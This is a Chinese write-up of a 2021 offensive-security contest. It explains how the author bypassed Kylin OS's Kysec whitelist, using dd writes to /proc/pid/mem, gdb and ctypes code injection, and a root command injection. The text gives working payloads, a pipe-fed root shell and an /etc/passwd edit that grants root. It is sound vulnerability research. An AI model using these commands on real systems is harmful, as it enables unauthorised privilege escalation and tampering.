虎符 2021 线下 PKS体系攻防实战 Kysec 机制绕过

这次运气不错,因为PKS的题目,Redbud包揽此次比赛的所有头奖。PKS的含义是:Phytium(飞腾CPU) + Kylin(麒麟OS)+ Security(安全能力),是我们国产自主化的一套体系。题目是突破它的安全机制,包括用户态强制访问控制机制Kysec,安全内存模组HSDIM-Lite以及安全启动。我打的主要是Kysec,就还是主要鼓捣用户态这套东西,从头打到尾发现并利用了五个洞:进程的/proc/pid/mem可被同用户读写、进程允许被同用户ptrace、安全机制仅在启动前检查程序是否合法、交互式python允许未校验的python代码执行、一个后装程序的root进程的命令注入。

简介

Phytium(飞腾CPU):

Kylin(麒麟OS):

飞腾CPU和麒麟操作系统已经很久了,但PKS这个词是个新词:

题目

第一天的题目:有三个属于你当前用户的文件,但是,你删不掉它,你运行不了它,你运行了却杀不掉它。你需要做的就是,删掉它,运行它,杀掉它。

image

第二天的题目:花样就比较多了,不过我还是主要关注了类似第一天的题目,并没有打硬件内存和安全启动的题:

image

在第一天的比赛里,给的程序的名字叫test2,test3,大概猜出来是类似selinux的限制,grep全局搜索内容包括test2,test3字符串的文件,因为总要有地方记录这些文件的权限,如果能落地到文件存储并且没有加密,那应该能搜索到,果然在Kysec相关的文件夹中搜到包含test2,test3的文件。查看进程有Kysec相关,于是上网搜索,不过文章甚少:

简单的来说kysec这个机制比较类似selinux,除了最简单的自主访问控制rwx这种,还有一套规则限制:

KYSEC是基于kysec安全标记对执行程序、脚本文件、共享库、内核模块进行保护的一种安全机制。除了系统默认集成的执行程序、脚本文件、共享库、内核模块,任何外来的该4种文件,如拷贝、移动、下载、重新编译生成等,都必须添加到麒麟安全管理工具的相应白名单列表中,才能执行调用。会对白名单列表中的文件进行保护,保护文件不被修改、移动、删除。

解题

附件:pks.zip

杀死受保护的进程

目标:干掉test3进程

首先分析test3,是一个循环sleep的程序:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  while ( 1 )
    sleep(0x14Du);
}

由于kysec保护机制,所以从通常规的杀进程操作(发信号)应该是死路。如何让进程死掉?对于天天研究内存破坏漏洞的安全研究员首先就能想到:把进程的内存搞坏,于是我们需要回答两个问题:

  1. 如何去修改进程的内存?
  2. 怎么改内存才能把进程搞死?

我想到的答案:

  1. linux会将进程的内存映射在proc伪文件系统中,即:/proc/pid/mem文件,如果可写,则成功。
  2. 一个不断sleep的程序,所以想到可以把sleep的got表改坏,当sleep结束后,再次调用sleep即可触发崩溃。

想到答案后需要验证,即:如何读写/proc/pid/mem文件?直接cat是不成功的,在之前分析dirtycow的exp里,它使用了open,lseek,write三个系统调用对这个文件成功写入,所以想到可以编写代码对他进行读写。

不过,虽然主机上有gcc,但因为Kysec的保护,你自己编译的helloworld都没有权限运行,如:解决银河麒麟kylin.desktop-generic编译生成的程序执行报错“权限不够”

所以一般来说只能执行其加入到白名单中的二进制程序,那有没有现成的程序可以完成对于/proc/pid/mem这个文件的读写呢?答:dd

  dd if=/proc/self/mem skip=4194304 count=8 bs=1 | xxd     
dd: /proc/self/mem: cannot skip to specified offset
8+0 records in
8+0 records out
8 bytes copied, 8.6021e-05 s, 93.0 kB/s
00000000: 7f45 4c46 0201 0100                      .ELF....

可以看到成功的读到进程内存中的ELF头,其中4194304 = 0x00400000,即程序的加载基址,关于dd的参数简要说明:

参数 含义
if 输入文件
of 输出文件
bs 每个block的大小,单位默认是字节,也可为K、M、G
iseek、skip 输入文件跳过长度n个block
oseek、seek 输出文件跳过长度n个block
count 输出长度n个block

尝试读取test3进程的got表中sleep表项,故首先确定其十进制地址:

.got.plt:0000000000411008 off_411008      DCQ sleep

>>> 0x411008
4263944

然后使用dd读取,的确可以读取到数据,并且计算后的确是位于libc中的地址:

  dd if=/proc/11213/mem skip=4263944 count=8 bs=1 

然后使用dd对此地址写一个随机数:

  dd if=/dev/urandom of=/proc/11213/mem seek=4263944 count=8 bs=1

可以在尝试读取一遍,可以发现的确修改成功,sleep为333秒,改完之后五分半内进程崩溃:

image

也可以通过写其他内存(如栈)使程序崩溃。赛后跟其他队伍交流,他们是直接用gdb挂上test3这个进程,然后退出gdb的时候选择杀死进程即可,本质是没有防护进程被同用户ptrace,所以到此为止已经发现了两个问题:

  • 受保护进程的/proc/pid/mem可被同用户读写
  • 受保护进程允许被同用户ptrace

虽然我们看起来不能执行任意代码,但是我们却可以用ddgdb两个在白名单中的二进制程序来帮助我们发起对目标的攻击:

  • 用dd对目标文件执行了:open、read、write、lseek
  • 用gdb对目标进程执行了:ptrace

启动未认证的进程

目标:启动test2、httc_test (4)进程

根据Kysec的介绍:除了系统默认集成的执行程序、脚本文件、共享库、内核模块,任何外来的该4种文件,如拷贝、移动、下载、重新编译生成等,都必须添加到麒麟安全管理工具的相应白名单列表中,才能执行调用。

这表明用户即使自己gcc编译一个代码,或者写一个python脚本也是不能执行的。其目的是为了在此系统上执行的代码都是经过在白名单中经过校验的。其中,限制了native code的执行的原理应该是在execve系统调用背后做了手脚,在启动的过程中检测ELF是否合法,而脚本代码的限制也应该是发生在读取脚本文件的一系列操作上。所以很容易想到:

  1. 一个合法的ELF,但启动之后其进程的内存被外界改变了,此时还能检查的到么?
  2. 交互式的python代码可以执行么?

能想到以上两个问题的道理是:明白代码的量级,除了被限制的四种落地到磁盘上的文件本身,还有哪些方法可以影响到执行过程,就比如上面的例子:执行一个完完全全按照攻击者意图的最简代码,应该是:

int f = open("/proc/pid/mem",O_RDWR);
lseek(f,0x411008,SEEK_SET);
write(f,"AAAAAAAA",8)

这些代码应该是连续的,中间没有任何多余的操作。但是我们dd完成了如上操作,gdb完成ptrace的也是一样的道理。我们可以把恶意操作抽象为一个系统调用的操作序列,按照代码执行量级的落地可以分为:

  • shellcode机器码:注入进程
  • 自己编编译的ELF程序:启动恶意进程
  • 组合已有功能的ELF程序:利用现有的程序,可能会使用多个进程

三种方法中都包含了我们的操作序列,也就是恶意行为均已发生,不过代码执行的条数由少到多。其中第三个利用现有的ELF程序是最有意思的,除了dd、gdb这种,可以思考 python,都知道按照执行机理分类,python是解释型语言,这也意味着脚本这种数据会被解释称代码,这里再次模糊了代码量级。

如果把脚本当成参数,只思考python这个二进制本身,可以看做他可以执行任何东西,就看你参数怎么给。即使他限制了参数传递的过程(不能执行任意脚本),仍然可以思考,是否还有其他办法把这个参数喂给python?也就是交互式python:测试交互式的python是可以执行代码的,并且尝试访问调用libc的库函数也是成功的!如下:

user1@kylin-GW-001M1A-FTF:~$ python
Type "help", "copyright", "credits" or "license" for more information.
>>> import ctypes
>>> a = ctypes.cdll.LoadLibrary("/lib/aarch64-linux-gnu/libc-2.23.so")
>>> a.printf("hello")
hello
0

所以到此为止,我们已经突破了Kysec的安全防线,可以执行任意python量级的代码。如果仅仅是要达到恶意效果,我只要模仿一下test2、httc_test (4)的代码,写一个python实现,然后交互式执行就可以了。

不过比赛要求还是要运行以上两个程序,也就是这俩ELF中的二进制代码,所以还是要运行shellcode机器码量级的代码。所以还是最开始的想法找一个合法的进程,然后用dd把这俩二进制的代码写到这个合法进程的内存中,也可以称之为注入。不过这里有以下几个问题:

  • 因为test2、httc_test (4)没有开启PIE,是地址相关代码,所以目标进程的内存映射地址需要满足以上程序,而且段权限要符合。
  • dd注入后,如何劫持原进程的控制流?
  • dd注入的ELF程序got表并未初始化,如何让代码正常工作?

容易想到:

  1. 如果能自己写一个程序,执行mprotect,搞出一大段的rwx最好
  2. 如果能自己写一个程序,功能类似loader,即可在最后使用函数指针跳转
  3. 如果能自己写一个程序,获得libc基址,即可使用指针操作修复got表

虽然我们自己写的程序执行不了,但是我们已经可以使用python执行任意代码了,并且发现python进程的可用内存段的空间很大,以python进程为载体,注入我们的恶意代码实在是再适合不过了!能想到:

  • 通过ctype执行mprotect
  • 启动进程后通过/proc/pid/maps查看python进程的libc机制
  • 修复got表可以用继续dd写内存

但是如何劫持python进程的控制流呢?比赛时候想到了gdb!

  • 使用gdb启动一个调试的python,断下后即可修改pc,完成控制流劫持
  • 于是修补got表也可以用gdb执行完成写内存

一条路通了,缕清总体思路:以gdb启动的交互式python进程为载体,利用mprotect修改内存段权限,dd加载test2、httc_test (4)程序,gdb修got表,最后用gdb将pc指到注入的main函数即可。具体操作步骤如下:

gdb调试启动交互式python,然后python对自己mprotect搞出一大段rwx,gdb把python断下

user1@kylin-GW-001M1A-FTF:~$ which python
/usr/bin/python
user1@kylin-GW-001M1A-FTF:~$ gdb -q /usr/bin/python
Reading symbols from /usr/bin/python...(no debugging symbols found)...done.
(gdb) r
Starting program: /usr/bin/python
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
Python 2.7.12 (default, Mar  6 2020, 01:18:13)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import ctypes
>>> a = ctypes.cdll.LoadLibrary("/lib/aarch64-linux-gnu/libc-2.23.so")
>>> a.mprotect(0x0400000,0x0200000,7)
0
>>>
Program received signal SIGINT, Interrupt.
0x0000007fb7f03648 in select () from /lib/aarch64-linux-gnu/libc.so.6

然后用过ps/proc/pid/maps,当然也可以通过python代码,获得python进程的pid,以及libc基址,然后注入:

dd if=/tmp/httc_test (4) of=/proc/32087/mem seek=4194304 bs=1

使用如下代码获得gdb中修复got表的指令,就是gdb写内存:

from pwn import *

test = ELF("./httc_test (4)")
libc = ELF("./libc-2.23.so")
libc.address = 0x7fb7e43000

for i in test.got:
    try    :  print("set *(long long *)(%s) = %s" % (hex(test.got[i]), hex(libc.symbols[i])))
    except :  pass

写8字节内存需要强制类型转换,最终结果如下:

set *(long long *)(0x414038) = 0x7fb7eb5430
set *(long long *)(0x4140a0) = 0x7fb7eaa448
set *(long long *)(0x414058) = 0x7fb7ebb3c0
set *(long long *)(0x414020) = 0x7fb7ea1948
set *(long long *)(0x414050) = 0x7fb7eb92e0
set *(long long *)(0x414088) = 0x7fb7e758b0
set *(long long *)(0x414048) = 0x7fb7e62840
set *(long long *)(0x4140a8) = 0x7fb7e8e310
set *(long long *)(0x4140b8) = 0x7fb7ea2108
set *(long long *)(0x414030) = 0x7fb7ea23d0
set *(long long *)(0x414008) = 0x7fb7eb9b00
set *(long long *)(0x414090) = 0x7fb7ea3d88
set *(long long *)(0x414080) = 0x7fb7ea9e80
set *(long long *)(0x414010) = 0x7fb7ea2b68
set *(long long *)(0x414018) = 0x7fb7e8e408
set *(long long *)(0x414068) = 0x7fb7eaa5c8
set *(long long *)(0x414028) = 0x7fb7edf970
set *(long long *)(0x414098) = 0x7fb7ea2820
set *(long long *)(0x4140b0) = 0x7fb7ea5b20
set *(long long *)(0x414000) = 0x7fb7ebb080
set *(long long *)(0x414040) = 0x7fb7ea3ce8
set *(long long *)(0x414070) = 0x7fb7f1a258
set *(long long *)(0x414060) = 0x7fb7ede800

最后,在gdb中设置pc指针,完成控制流的劫持:

set $pc=0x401FA8
c

最终test2程序启动的效果如下:

image

裁判对此结果不满意,因为在ps中看到的仍然是python进程,而不是test2进程。第二天早上起床想到:ps查看进程会根据窗口大小进行截断,通过构造一个名为test2后带非常多空格的文件夹,然后用绝对路径启动该文件夹下的程序,,只要空格长度大于终端显示宽度,则会被截断,则看起来进程就是/home/user1/test2。不过发现自己构造的文件夹中程序是不可以执行的,尝试构造软链接到python,然后使用绝对路径启动该文件夹下的python,即可在ps中获得看起来和目标进程一样的效果,httc_test (4)进程启动的效果如下:

image

赛后跟其他选手交流,ps显示的进程名字我以为是存在与内核的PCB中,其实是存在用户态的栈空间上,就是main函数的第一个参数,只要修改这段内存就能达到要求的效果了。整个利用过程还是有很多的交互过程,其实可以将很多步骤简化到python代码中,交互也可以简化给expect。总结下来这里总共利用了两个问题:

  • 安全机制仅在启动前检查程序是否合法
  • 交互式python允许未校验的python代码执行

通过这两个问题,我们实现了在Kysec保护的系统上,执行了未认证的shellcode量级机器码以及python量级的代码。

操作未授权的文件

目标:删除本用户下保护的文件,查看其它用户的文件。

以上的方法都只能在进程上搞事,但是对于文件系统貌似没有什么突破的办法。

首先想到通过mount的方法删除readonly:把user1目录给他挂载个新的文件系统,通过文件系统访问该路径,则原来的内容就被暂时覆盖了,从文件系统的角度看起来readonly就是被删掉了,但是从磁盘内容看来readonly还在。不过,mount需要root权限所以此路不通。

后来还是想直接提权搞,所以看了下root进程,希望能找到一个root进程的代码执行漏洞,进而完成提权,结果还真找到一个:

image

继续分析其二进制发现如下命令注入,分析buf的内容是从一个文件中读取的:

image

发现其父级函数是main函数,故只要程序启动时,该文件中的内容可控,即可触发命令注入。那此文件是否可以写呢?

image

其他用户是可以写的!并且发现我们是可以触发这个root进程的重启的!但测试发现此文件会在进程启动和退出时不断的删掉重建,所以单次写入payload可能无法利用。突破此问题的办法是:再来一个进程,写一个死循环,不断将我们的恶意文件拷贝过去,这样我们应该就可以在他重建文件之后马上将文件内容替换成payload,方法如下:

$ while true;do cp /tmp/exp /xxx/xxx;done

然后尝试在目标文件中构造如下payload并重新触发此root进程启动:

';reboot #

启动进程后,电脑直接黑屏重启,成功命令注入。根据注入点判断条件,只有当payload在15个字节以内时,才会被送到system中执行,所以比较费劲的就是写shell命令的利用了。这个有长度制的命令注入的提权利用,是L1n3师傅L3H_Sec的navie师傅共同完成的,和我没啥关系,感谢两位。利用方式比较Web,很类似hitcon当年那个操作,分步完成:

  1. flag复制到根
  2. 将flag改名为f
  3. 建立管道用于接收flag
  4. 把flag输出到管道
';cp /r*/f* / #
';mv /*1 /f #
';mkfifo /q #
';cat /f>/q #

然后在用户端(user1)查看flag即可:cat /q

image

当前的这个root交互比较费劲,所以可以使用如下payload建立管道来交互shell(无回显):

';cat /q|sh #

进一步可以把user1直接变成root用户:

echo "sed -i 's/1001/0/g' /etc/passwd" > /q

flag2在user2的保险箱里,直接使用user2登录应该就可以直接看到,所以使用root重置user2的密码,之后切换到user2直接查看box中的文件即可:

image

思路

两天打下来,感觉PKS赛题好像老天给我的小节测试,真的就像是给我准备的一样,每个步骤都很顺,这两年鼓捣的东西挺多都用上了,而且思路清晰:

手段、知识 来自
通过读写/proc/pid/mem修改进程内存 条件竞争学习 之 DirtyCow分析从树莓派的wiringPi库分析Linux对GPIO的控制原理,原理是linux哲学:一切皆文件。
使用dd按照偏移读写文件 树莓派3B+刷openwrt安装mitmproxy折腾记录、重打包固件的修改目标文件系统。
在目标进程的中注入恶意代码并执行 StarCTF 2021 RISC-V Pwn Favourite ArchitectureIoT安全研究视角的交叉编译、《程序员的自我修养》
使用mprotect更改内存段的权限 StarCTF 2021 RISC-V Pwn Favourite Architecture
使用python来执行恶意native代码 Getshell载荷:payload的量级HITCTF 2020 三道 Pwn: lucky
sprintf+system命令注入的漏洞模式 平日的IoT漏洞挖掘、HWS 2021 入营赛 Pwn/固件/内核: httpd
使用root进程的漏洞进行提权 小路有一次给我讲的某路由器提权方法
命令注入的入口可以是某些配置文件的内容 淼哥之前审出来的使用TF卡以及adb回包Getshell某设备
内核管理进程的PCB结构体的样子 2020年暑期参加的华为鸿蒙开源演练:openharmony
使用gdb劫持python控制流 平日Pwn题的调试
使用空格、mount在文件系统中制造障眼法 IoT设备上只读文件系统的修改、恶意混淆的障眼法域名、魔术的本质就是障眼法、《线上幽灵》

以上并没有特别复杂的利用,而是找到了一些可以四两拨千斤的东西。完成这个任务,需要以下这些东西:

  • 需要对达成的目标有明确定义:知道我到底要完成一个什么样的破解。
  • 需要对系统实现的大致理解:知道什么功能应该是在哪实现的,并用一些手段进行确认。
  • 需要有经验:知道哪可能会出问题,哪是薄弱点。
  • 需要有运气:巧了就碰到个root进程的命令注入。

不过比赛中,裁判希望我们去探索Kysec本身的安全机制,而我上面的打法基本都是绕开了Kysec本身的实现代码,所以他们并不是很满意。这个也有道理也没道理:

  • 有道理是:人家花钱请你,需要的是他想要的,而不是你想给的。
  • 没道理是:回归安全的本源,没有黑客会一上来就去正面刚防卫森严的堡垒,安全遵循木桶原理,效果达到,就是漏洞。

闲话

提到麒麟,那必然有NUDT。当年入学时,所有新生都会被推荐买电脑,并且要求适配一个从没听说过的优麒麟系统,否则你都没法上课!然后有的队干部就忽悠那些不懂计算机的新生通过自己的渠道买电脑,背地自己挣差价,据说文萱的电脑就是这么来的哈哈哈哈。

我的整个大一时光都在给同学的笔记本装优麒麟,导致当时我对各种型号的笔记本装机极其熟练。要算起来,它是我PC上用过的第一个linux。因为当年科大不能明面上网,信息中心做了一件好事,通过优麒麟和宿舍楼道中的AP,让学生能访问部分互联网资源,甚至有一段时间还能打开腾讯视频。另外当年可以用麒麟玩到一个戏称《NUDT争霸》的基建类游戏,玩家都是科大学生,给我这个充满了疲惫和不自在的大一生活带来了一丢丢乐趣。后来加入麒麟小组,借此由头翘课,翘训练,躲在麒麟办公室看龙门镖局。也由此初见老卜,流氓,然后加入了网管员行列。麒麟于我虽然不算计算机启蒙,但却像学相声前要先听相声的熏的过程,也就是耳濡目染。因为优麒麟,第一次听到了许许多多陌生的名词:开源,linux,万能密码,包管理器,挂载等等。

回头想来,信息中心真是科大的良心单位,一边要符合部队的规章制度,另一边还尽力还同学一个正常的现代信息生活,时不时的还组织一些培训活动,让我们这些稍微懂一丢丢技术的同学有机会接触到正经玩意儿。今天早上正巧看到肖老师发朋友圈,梦课学堂四周年,好快,我离开部队也四年了。谢谢这些老师,你们虽然改变不了操蛋的科大,但是你们改变了我。